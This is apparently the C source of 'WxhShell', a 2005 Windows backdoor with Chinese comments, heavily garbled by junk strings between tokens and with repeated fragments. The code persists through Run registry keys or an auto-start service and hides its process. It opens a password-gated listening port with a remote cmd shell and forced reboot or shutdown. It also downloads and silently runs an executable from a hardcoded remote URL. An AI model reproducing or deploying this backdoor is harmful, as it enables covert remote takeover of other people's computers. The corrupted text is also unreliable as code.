return 0; & l<.X =nHUs1rKn g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #mxPw g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q])K,) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }{Pp]*I<A -OV&Md:~ if (!NtQueryInformationProcess) return 0; gb1V~ 2Ah#<k-gC; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {p2!|A&a if(!hProcess) return 0; +|3@=.V }dX*[I if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j^*dmX MpT8" /.]A CloseHandle(hProcess); Q0sI(V# hgG9m[?K hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :
$1?i) if(hProcess==NULL) return 0; 8S
TvCH"Z_ "x0^#AVg HMODULE hMod; b/K PaNv char procName[255]; 'ms-*c&
unsigned long cbNeeded; =jN.1} b=C*W,Q_# if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zpn9,,~u ,>a&"V^k CloseHandle(hProcess); fgTg7 m ^e,. if(strstr(procName,"services")) return 1; // 以服务启动 RNk\.}m k t#fMd$ return 0; // 注册表启动 u[;\y|75 } NWESP U):w 0D.Mke ) // 主模块
>Er|Jxy int StartWxhshell(LPSTR lpCmdLine) c^xIm'eob { I9A~Ye
5O& SOCKET wsl; P8:dU(nlW BOOL val=TRUE; $S6`}3 int port=0; s[>,X#7 y struct sockaddr_in door; XT%nbh&y n&4N[Qlv, if(wscfg.ws_autoins) Install(); CZwXTHe XX TL.. port=atoi(lpCmdLine); K!%+0)A #lo6c;*m5 if(port<=0) port=wscfg.ws_port; KfEx"94 Y1\ }5k{> WSADATA data; `,(4]tlL if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B:Oa}/H
#P9~}JB3, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )u&|_&g{}J setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d'gfQlDny door.sin_family = AF_INET; nF]W,@u"h door.sin_addr.s_addr = inet_addr("127.0.0.1"); NN{?z! door.sin_port = htons(port); yPBZc h %- .NC!7+1m if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s]0{a.Cpv closesocket(wsl); !PlEO 2at return 1; Dj?> <@ } 9rX&uP)j^# $99n&t$Y if(listen(wsl,2) == INVALID_SOCKET) { `{h*/Q closesocket(wsl);
NR6#g,+7 return 1; Wis~$" } 3pROf#M Wxhshell(wsl); n38p !oS WSACleanup(); ub0.J#j@ Z clQ return 0; <$$yw=ef %\#8{g } $)i")=Hy Et_bH%0 // 以NT服务方式启动 Lg+Ac5y}` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1-uxC^u?|# { 76Cl\rV DWORD status = 0; :S83vE81WK DWORD specificError = 0xfffffff; eKgBy8tNS0 p4rL}Jm& serviceStatus.dwServiceType = SERVICE_WIN32; ;`4&Rm9n? serviceStatus.dwCurrentState = SERVICE_START_PENDING; tY<4%~%X serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7nTeP(M% serviceStatus.dwWin32ExitCode = 0; B]wk+8SMY. serviceStatus.dwServiceSpecificExitCode = 0; H2\;%K 2 serviceStatus.dwCheckPoint = 0; | j`@eF/" serviceStatus.dwWaitHint = 0; :r,pqnH_ -Cpl?Io`r5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eK=xrk if (hServiceStatusHandle==0) return; YlQ=5u^+ d"mkL- status = GetLastError(); =o(5_S.u; if (status!=NO_ERROR) 9&2O9Nz6 { 8^2oWC#U( serviceStatus.dwCurrentState = SERVICE_STOPPED; lv<*7BCp serviceStatus.dwCheckPoint = 0; 4B1v4g8} serviceStatus.dwWaitHint = 0; 65P0,b6"OT serviceStatus.dwWin32ExitCode = status; nnEgx;Nl0 serviceStatus.dwServiceSpecificExitCode = specificError; y2dCEmhY SetServiceStatus(hServiceStatusHandle, &serviceStatus); D/xbF` return; TER=*"! } (t
K||*u 3S@7]Pg serviceStatus.dwCurrentState = SERVICE_RUNNING; (`>+zT5aH serviceStatus.dwCheckPoint = 0; z,
)6"/; serviceStatus.dwWaitHint = 0; 7kLz[N6Ll if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6vo;!V6 } }OR@~V{Gj @})|Z}~ // 处理NT服务事件,比如:启动、停止 E0=)HTtS VOID WINAPI NTServiceHandler(DWORD fdwControl) ,eW%{[g( { ^ogt+6c switch(fdwControl) GW@;}m( { iN\4gQ! case SERVICE_CONTROL_STOP: N,AQsloL7 serviceStatus.dwWin32ExitCode = 0; NO>w+-dGS serviceStatus.dwCurrentState = SERVICE_STOPPED; orpri O|qD serviceStatus.dwCheckPoint = 0; -HbC!wv serviceStatus.dwWaitHint = 0; [A~xy'T { ]NY~2jmX SetServiceStatus(hServiceStatusHandle, &serviceStatus); .t-4o<7 3 } TDKki(o=~ return; BLdvyVFx case SERVICE_CONTROL_PAUSE: ]i)c{y serviceStatus.dwCurrentState = SERVICE_PAUSED; }O5i/#.lR break; PI)+Jr%L case SERVICE_CONTROL_CONTINUE: (O?.)jEW(. serviceStatus.dwCurrentState = SERVICE_RUNNING; d#Y^>"|$. break; P>C~
i:4n case SERVICE_CONTROL_INTERROGATE: z"L/G break; qp}Cqi }; O2E/jj SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~9]hV7y5C } w~A{(-
dx hGe/;@% // 标准应用程序主函数 dJoaCf`w int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~s*)f.l { X6X
$Pve )gIKH{JYL // 获取操作系统版本 0B/,/KX OsIsNt=GetOsVer(); Su7?;Oh/yI GetModuleFileName(NULL,ExeFile,MAX_PATH); $\BE&4g S(I{NL}=$ // 从命令行安装 )3}9K
^jS if(strpbrk(lpCmdLine,"iI")) Install(); *[Tz![| ->-KCd1b // 下载执行文件 H3^},. if(wscfg.ws_downexe) { n8
i] z if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @7]yl&LZ WinExec(wscfg.ws_filenam,SW_HIDE); oy=js - } 1\~ "VF*{ ?
7n`A >T if(!OsIsNt) { =_2jK0+}l // 如果时win9x,隐藏进程并且设置为注册表启动 ,t?B+$E HideProc(); k 8[n+^ StartWxhshell(lpCmdLine); mbxZL<ua } h$>-.- else [)M%cyQ if(StartFromService()) +H-6e P // 以服务方式启动 ;kQhx6Z StartServiceCtrlDispatcher(DispatchTable); f!uw zHA`? else TH&U
j1 // 普通方式启动 _Xc8Yg }` StartWxhshell(lpCmdLine); +>{2*\cZ5} 1>_8d"<Gd return 0; Vpz\.] } <I\/n<* ,+DG2u 8,4"uuI /<=u\e'rE ===========================================
}<v@01 36Zf^cFJ 9@(PWz=`? /sx&=[
D JN-y)L/> (AaoCa[ " IqaT?+O\?r {0wIR_dGX #include <stdio.h> DS(}<HK{ #include <string.h> l'-Bu( #include <windows.h> qFCOUl #include <winsock2.h> %9F([K #include <winsvc.h> vjGo;+K #include <urlmon.h> |O\s|H iAEbu&XG #pragma comment (lib, "Ws2_32.lib") +US!YU #pragma comment (lib, "urlmon.lib") :Uzm
M#4pE_G #define MAX_USER 100 // 最大客户端连接数 30#s aGV #define BUF_SOCK 200 // sock buffer /tx]5`#@7] #define KEY_BUFF 255 // 输入 buffer ;~)5s' y|i,| #define REBOOT 0 // 重启 ?r
"{}% #define SHUTDOWN 1 // 关机 |^"1{7) )Xz,j9GzJS #define DEF_PORT 5000 // 监听端口 rxvx MDZ640-Y #define REG_LEN 16 // 注册表键长度 KK/tu+" #define SVC_LEN 80 // NT服务名长度 2>xF){` np"\19^ // 从dll定义API pHXm>gTd,J typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =vCY?I$P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zII|9y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )hn6sXo+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u^+7hkk DZ'P@f)] // wxhshell配置信息 {0Yf]FQb-a struct WSCFG { r;.y z I int ws_port; // 监听端口 *SbMqASv4G char ws_passstr[REG_LEN]; // 口令 taHJ u b int ws_autoins; // 安装标记, 1=yes 0=no vAF
"n char ws_regname[REG_LEN]; // 注册表键名 ,F8 Yn5h char ws_svcname[REG_LEN]; // 服务名 gZ3u=uME char ws_svcdisp[SVC_LEN]; // 服务显示名 Xv5wJlc!d char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ct <udO char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _/s$ZCd int ws_downexe; // 下载执行标记, 1=yes 0=no *MhRW,= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9X+V4xux char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wj$<t'MN ~rqCN,=d }; urs,34h .LnGL]/ // default Wxhshell configuration B:yGS*.tu struct WSCFG wscfg={DEF_PORT, ;s = l52 "xuhuanlingzhe", J@HtoTDO3 1, Q2w_X8 "Wxhshell", -n~1C{< "Wxhshell", 5,lEx1{_ "WxhShell Service", hP%M?MKC "Wrsky Windows CmdShell Service", *MFIV02[N "Please Input Your Password: ", 1Kw+,.@d 1, ~]IOK$1F% "http://www.wrsky.com/wxhshell.exe", 93)sk/j "Wxhshell.exe" zlSNfgO }; bivuqKA 4<w.8rR:A // 消息定义模块 JQ_sUYh~3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #>("CAB02T char *msg_ws_prompt="\n\r? for help\n\r#>"; ~|DUt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UawyDs char *msg_ws_ext="\n\rExit."; :gv{F} ## char *msg_ws_end="\n\rQuit."; $u6"*| char *msg_ws_boot="\n\rReboot..."; Fh&G;aEq char *msg_ws_poff="\n\rShutdown..."; +6M}O[LP char *msg_ws_down="\n\rSave to "; HTv2# }<0BX \@I char *msg_ws_err="\n\rErr!"; } ^~F| char *msg_ws_ok="\n\rOK!"; !I{0 _b{ p}z<Fdu0 char ExeFile[MAX_PATH]; hn7#
L int nUser = 0; ~f&E7su-6+ HANDLE handles[MAX_USER]; +/4A int OsIsNt; e9Wa<i8 ,B*EVN SERVICE_STATUS serviceStatus; [:
n'k SERVICE_STATUS_HANDLE hServiceStatusHandle; +5g_KS a_^\=&?' // 函数声明 xC?6v' int Install(void); ]Grek< int Uninstall(void); B-Ll{k^ int DownloadFile(char *sURL, SOCKET wsh); s0TORl6Z| int Boot(int flag); : %_LpZ void HideProc(void); g{]0sn# int GetOsVer(void); 8rAg\H3E int Wxhshell(SOCKET wsl); WH#1zv void TalkWithClient(void *cs); > ym,{EHK int CmdShell(SOCKET sock); P[G)sA_" int StartFromService(void); kf\PioD8 int StartWxhshell(LPSTR lpCmdLine); l?v86k jodIv=C VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '6nAF VOID WINAPI NTServiceHandler( DWORD fdwControl ); T8?Ghbn ,1.p%UE]> // 数据结构和表定义 <6%?OJhp SERVICE_TABLE_ENTRY DispatchTable[] = e-})6)XgA { GLH0 ] {wscfg.ws_svcname, NTServiceMain}, U#7#aeI {NULL, NULL} p}}R-D&K }; x xHY+(m '|6]_ // 自我安装 @(EAq<5{ int Install(void) 1SQ3-WUs { h6L&\~pf char svExeFile[MAX_PATH]; D%[mWc@1I HKEY key; r(>@qGN strcpy(svExeFile,ExeFile); k>Is:P VD;01"#' // 如果是win9x系统,修改注册表设为自启动 l5Ui w2 if(!OsIsNt) { <`8n^m* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { { T/[cu< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T=
8 0, RegCloseKey(key); kUb>^-
-K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3,_aAgeE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W<h)HhyG RegCloseKey(key); hk;5w{t}} return 0; h]5(]. } Q^P}\wb> } 9 &dtd } S3C]AhW; else { ^ox=HNV j.[.1G*(" // 如果是NT以上系统,安装为系统服务 zF`0J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &Q/ W~)~ if (schSCManager!=0) F>Ah0U0 {
_O)>$.^6 SC_HANDLE schService = CreateService etQCzYIhn ( udK%> schSCManager, X;+sUj8 wscfg.ws_svcname, ~Py`P'+ wscfg.ws_svcdisp, ;DQ ZT SERVICE_ALL_ACCESS, A7{\</Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P_^ +A SERVICE_AUTO_START, L?b~k= SERVICE_ERROR_NORMAL, w?PkO p svExeFile, Qab>|eSm NULL, +uF>2b6' NULL, -u+vJ6EY NULL, Gm&Za,4%4 NULL, s2p\]|5 NULL j<m(PHSe ); 3GYw+%Z] if (schService!=0) nAAs{ { ;$, U~ 0 CloseServiceHandle(schService); soB,j3#p'* CloseServiceHandle(schSCManager); n-2]M05O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >a<.mU|# strcat(svExeFile,wscfg.ws_svcname); b}$+H/V if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oi7@s0@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E:_ZA RegCloseKey(key); nt;m+by return 0; 3)wN))VBX } b<[Or^X
] } *uRBzO} CloseServiceHandle(schSCManager); PA{PD.4Du } dw>C@c#" } _gR;=~S KJUH(]>F return 1; (*9$`!wS } C\3rJy(VJ FW;?s+Uyx // 自我卸载 ;3coP{ int Uninstall(void) wD}l$& + { & bm
1Fz HKEY key; .bl/*s +zN-!5x if(!OsIsNt) { RZ?jJm$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G^|:N[>B RegDeleteValue(key,wscfg.ws_regname); 7vKK%H_P RegCloseKey(key); F@jZ ho if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VR 8-&N RegDeleteValue(key,wscfg.ws_regname); V*;(kEqj RegCloseKey(key); |-67\p] return 0; #pow ub } z]y.W`i } ~8Fk(E_ } mfn,Gjt3O else { %)8}X>xq =_*Zn(>t` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '?' l;#^i< if (schSCManager!=0) wh`"w7br { @l5"nBs<_: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (UD@q>c if (schService!=0) k/_ 59@) { dh iuI|?@ if(DeleteService(schService)!=0) { ;%9 |kU CloseServiceHandle(schService); 9!\B6=r y4 CloseServiceHandle(schSCManager); !X#OOqPr= return 0; !;v|' I } m4Qh%}9% CloseServiceHandle(schService); <8&au(I,vB } a(X@Q8l: CloseServiceHandle(schSCManager); `UyG_; } '3tCH)s } `wEb<H
20 h, ^ return 1; '3fu } s?}e^/"v H[$"+&q // 从指定url下载文件 xwq
(N_ int DownloadFile(char *sURL, SOCKET wsh) ,/I.t DH { prF%.(G2) HRESULT hr; =z69e%. char seps[]= "/"; `p-cSxR_ char *token; %)W2H^
char *file; &)ChQZA char myURL[MAX_PATH];
Do7Tj char myFILE[MAX_PATH];
Cctu|^V D_*WYV strcpy(myURL,sURL); - % h.t+=U token=strtok(myURL,seps); :U%W% while(token!=NULL) ;bib/ { 8qTys8 file=token; 'G4ICtHQ token=strtok(NULL,seps); ^"2J]&x`G } Om\vMd@! *Kgks 4 GetCurrentDirectory(MAX_PATH,myFILE); "?xHlYj@+ strcat(myFILE, "\\"); }2.`N%[ strcat(myFILE, file); /nNN,hz send(wsh,myFILE,strlen(myFILE),0); J=I:CD% send(wsh,"...",3,0); Y"aJur=` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nRS} }6Q if(hr==S_OK)
?P`K7 return 0; a~}OZ&PG else 1};Stai'
return 1; \&3+D8H>n zP8lN(LA } 5x4yyb' Id .nu/ // 系统电源模块 pJ"qu,w int Boot(int flag) IueFx u { )23H1 HANDLE hToken; l'. VKh\C TOKEN_PRIVILEGES tkp; "(~^w=d:$ cf20.F{< if(OsIsNt) { 7'V@+5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u0c1:Uv#~e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3$>1FoSk tkp.PrivilegeCount = 1; X51: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fj3a.' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /]Md~=yNp if(flag==REBOOT) { h2]P]@nW;W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xj;H&swo return 0; ~IBP|)WA- } qiBVGH else { :>f )g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @,7GaK\ return 0; k)=s>&hl } jcf7n`L } F_{Yo?_ else { +.FEq*V if(flag==REBOOT) { E]n&=\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H3=qe I return 0; &Q#66ev } CXMLt else { F/kWHVHU[ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g@!V3V return 0; plstZ,#j } 08\,<9 } eJX9_6m- )g%d:xI return 1; `e&Suyf4B } FGmb<z 2p <=/hil // win9x进程隐藏模块 L^?qOylu void HideProc(void) +lcbi { 4p;`C :J&oX
<nF^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ka
V8[|Gn, if ( hKernel != NULL ) #f]SK[nR { s-Tv8goNV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ={&j07,*a ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H40p86@M FreeLibrary(hKernel); *P=VFP } E4/Dr}4 xOmi\VbM return; wJo}!{bN } w;amZgD> ~HsJUro // 获取操作系统版本 N5
6g+,w%) int GetOsVer(void) Z=o2H Bm7 { 3bH'H*2 OSVERSIONINFO winfo; }9OC,Y8?D winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j6 z^Tt12 GetVersionEx(&winfo); &@OT*pNna if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x
g return 1; vXZOy%$o else ;dgp+ return 0; 0GCEqQy8 } -C]5>& W >KhOz[Zg // 客户端句柄模块 :':s@gqr int Wxhshell(SOCKET wsl) 9qzHS~l { 0 /U{p,r6` SOCKET wsh; K is"L(C struct sockaddr_in client; yWo; a DWORD myID; I1M%J@ Cz [waIi3Dv\ while(nUser<MAX_USER) `b7t4d* { Iit;F int nSize=sizeof(client); Eo]xNn/g wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2pa5U;u:+ if(wsh==INVALID_SOCKET) return 1; 4>e&f&y~ c<Tf
2]vZE handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7ZWgf"1j if(handles[nUser]==0) y766;
X:J closesocket(wsh); lq;Pch else 8'io$6d= nUser++; hMD|#A-< } SoSb+\*@h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KB(8f* M%P:n/j return 0; )1`0PJoHE } w_K1]<Q* .p"
xVfi6 // 关闭 socket $DaNbLV void CloseIt(SOCKET wsh) r52gn(, { 6mxfLlZ closesocket(wsh); ; )@~ nUser--; _F|Ek ;y% ExitThread(0); (gWm,fI
RZ } 1^JS Dd cU!vsdR3 // 客户端请求句柄 [5Mr@f4I void TalkWithClient(void *cs) ~U&AI1t+J { d|Lj~x| 4O!ikmY:t SOCKET wsh=(SOCKET)cs; 12 gU{VD char pwd[SVC_LEN]; e8?jmN`2 char cmd[KEY_BUFF]; @Z:l62l=bE char chr[1]; 6A+nS= int i,j; mtcw#D T!)(Dv8@F while (nUser < MAX_USER) { {q^[a-h> i2SR{e8:GF if(wscfg.ws_passstr) { H9Q&tl9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O5T{eBo\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p}U ~+:v //ZeroMemory(pwd,KEY_BUFF); Yufc{M00 i=0; $suzW;{# while(i<SVC_LEN) { -;WGS o B>P{A7Q // 设置超时 )R1<N fd_set FdRead; ^RIl struct timeval TimeOut; 0[W:d=C`a FD_ZERO(&FdRead); U26}gT) FD_SET(wsh,&FdRead); 5vnrA'BhBU TimeOut.tv_sec=8; 4zFW-yy TimeOut.tv_usec=0; @?]RBX?a int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A;?|&`f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dhK~O.~m #5o(h+w) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QD]6C2j* pwd=chr[0]; ]Gq !`O1 if(chr[0]==0xd || chr[0]==0xa) { ml
}{|Yz pwd=0; z9Rp`z&`E break; 3eQ&F~S } `*1p0~cu
i++; p>8D;#HmL } 0{-q#/ NyNXP_8 // 如果是非法用户,关闭 socket ' %o#q6O if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :&."ttf= } 8[{ Vu0R @GW#&\yM send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g}(L;fy>7 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !%%6dB@%t Se =`N while(1) { *VxgARIL i?^L/b`H ZeroMemory(cmd,KEY_BUFF); =U?dbSf1* j/?kL{B // 自动支持客户端 telnet标准 X$W~mQma6 j=0; fVpMx4&F
while(j<KEY_BUFF) { u;2[AQ. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ge8ZsaiU cmd[j]=chr[0]; amY!qg0P* if(chr[0]==0xa || chr[0]==0xd) { {&1/V cmd[j]=0; f9{Rb/l!BQ break; [Y|t]^M } Z4
=GMXj j++; JY(WK@ } 1#+S+g@# p H2Sbs:Tk // 下载文件 v):Or'$~M if(strstr(cmd,"http://")) { ji0@P'^; send(wsh,msg_ws_down,strlen(msg_ws_down),0); t\7[f >
if(DownloadFile(cmd,wsh)) z!9-: send(wsh,msg_ws_err,strlen(msg_ws_err),0); E+;7>ja else </*6wpN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h2fNuu" } nb%6X82Q else { BLD gt~h# A6(/;+n switch(cmd[0]) { DEZveQr= 9q~s}='" // 帮助 +ksVtG, case '?': { $yNS
pNmT0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tK\~A,= break; E hMNap}5" } z-)O9PV // 安装 1yu4emye4 case 'i': { [` 7ThHX if(Install()) mc\"yC^s send(wsh,msg_ws_err,strlen(msg_ws_err),0); B^^#D0< else }-=|^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uz]|N6` break; YNi.SXH } 5$C-9 // 卸载 T9[Q case 'r': { Btcy)LRk if(Uninstall()) A~70 send(wsh,msg_ws_err,strlen(msg_ws_err),0); $qj2w"' else P/_['7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YUk\Q% break; brUF6rQ } 1iF1GkLEq // 显示 wxhshell 所在路径 pYf-S?Y/V case 'p': { Qzw;i8n{ char svExeFile[MAX_PATH]; d7bS
wL strcpy(svExeFile,"\n\r"); Z4ImV~m strcat(svExeFile,ExeFile); $6poFo)U+ send(wsh,svExeFile,strlen(svExeFile),0); f) L break; )lDD\J7 } IjnU?Bf // 重启 d/~9&wLSb case 'b': { .% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kE1TP]| if(Boot(REBOOT)) }k.Z~1y send(wsh,msg_ws_err,strlen(msg_ws_err),0); ncT&Gr else { h<<v^+m closesocket(wsh); X!EP$! ExitThread(0); "3Y0`&:D } ey$&;1x#5 break; ab?aQ*$+ } z<' u1l3 // 关机 9_/:[N6|c| case 'd': { (TT}6j send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .HABNPNg( if(Boot(SHUTDOWN)) :gFx{*xN/9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); uW
%# else { A|{(/G2* closesocket(wsh); ( CWtLi"z ExitThread(0); \:LW(&[! } $6R-5oQ break; 5]:U9ts# } }i&/G+_ // 获取shell JNnDts*w case 's': { &mS^ZyG CmdShell(wsh); (KZ{^X?a closesocket(wsh); a/xn'"eli ExitThread(0); 19%imf break; \1M4Dl5! }
_;\_l // 退出 M/`lM$98: case 'x': { }W^A*]X send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ('+d.F[109 CloseIt(wsh); F#5~M<`.o break; 5'u<iSmBo } R[]Mdt< // 离开 EQSQFRk; case 'q': { 2&J)dtqz send(wsh,msg_ws_end,strlen(msg_ws_end),0); {Ou1KDy#) closesocket(wsh); }3WxZv]I} WSACleanup(); aV0"~5 exit(1); ]\HvK CN} break; +^F Zq$NP } "qy,*{~ } +k R4E23: } [AJJSd/: nQ3A~ () // 提示信息 &q*Aj17 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 42ge3> } ,64-1! } w7&A0M k$:|-_(w return; C\hM =% } i SQu#p@ B&"Q\'c // shell模块句柄 -MBxl`JU int CmdShell(SOCKET sock) [0("Q;Ec[j { XW92gI<O STARTUPINFO si; 9H1rO8k ZeroMemory(&si,sizeof(si)); lq7E4r si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -m#)B~) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SUK?z!f<i PROCESS_INFORMATION ProcessInfo; lPAQ3t!, char cmdline[]="cmd"; SSzIih@u CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,|/f`Pl return 0; X2'0PXv>! } &mM0AA'\?H ti,d&c_7 // 自身启动模式 Q\0'lQJdy int StartFromService(void) E' uZA { */S_Icf typedef struct Ab;.5O$y { )0k53-h& DWORD ExitStatus; [()koU#w. DWORD PebBaseAddress; 7F.4Ga; DWORD AffinityMask; %A0/1{( DWORD BasePriority; ql~J8G9 ULONG UniqueProcessId; u_Z+;{]Pj ULONG InheritedFromUniqueProcessId; e&>2
n } PROCESS_BASIC_INFORMATION; F_P~x(X 3o/[t PROCNTQSIP NtQueryInformationProcess; :[d9tm b|(:[nB static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |JsZJ9W+J static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y}KNKO; `kSZX:=}; HANDLE hProcess; `XDl_E+>l PROCESS_BASIC_INFORMATION pbi; RT8 ?7xFc G^@5H/) HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M )(DZ} if(NULL == hInst ) return 0; Z4bNV?OH LFV%&y|L g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
05 ^h" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); An0GPhC NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yaX
iE_. cm+P]8o%{ if (!NtQueryInformationProcess) return 0; i"=\d b7ZSPXV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NwfVL4Xg if(!hProcess) return 0; sa8Vvzvo. pQQH)`J|t
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gnHbb-<i, 2B`JGFcdcB CloseHandle(hProcess); #lO Mm9 f%8C!W]Dm hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y|jq?M<A if(hProcess==NULL) return 0; 8RHUeRX "9807OME HMODULE hMod; D)}v@je"yP char procName[255]; IAyp 2 unsigned long cbNeeded; V]?R>qhgu l}P=/#</T if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u$`a7Lp,n Ew$C
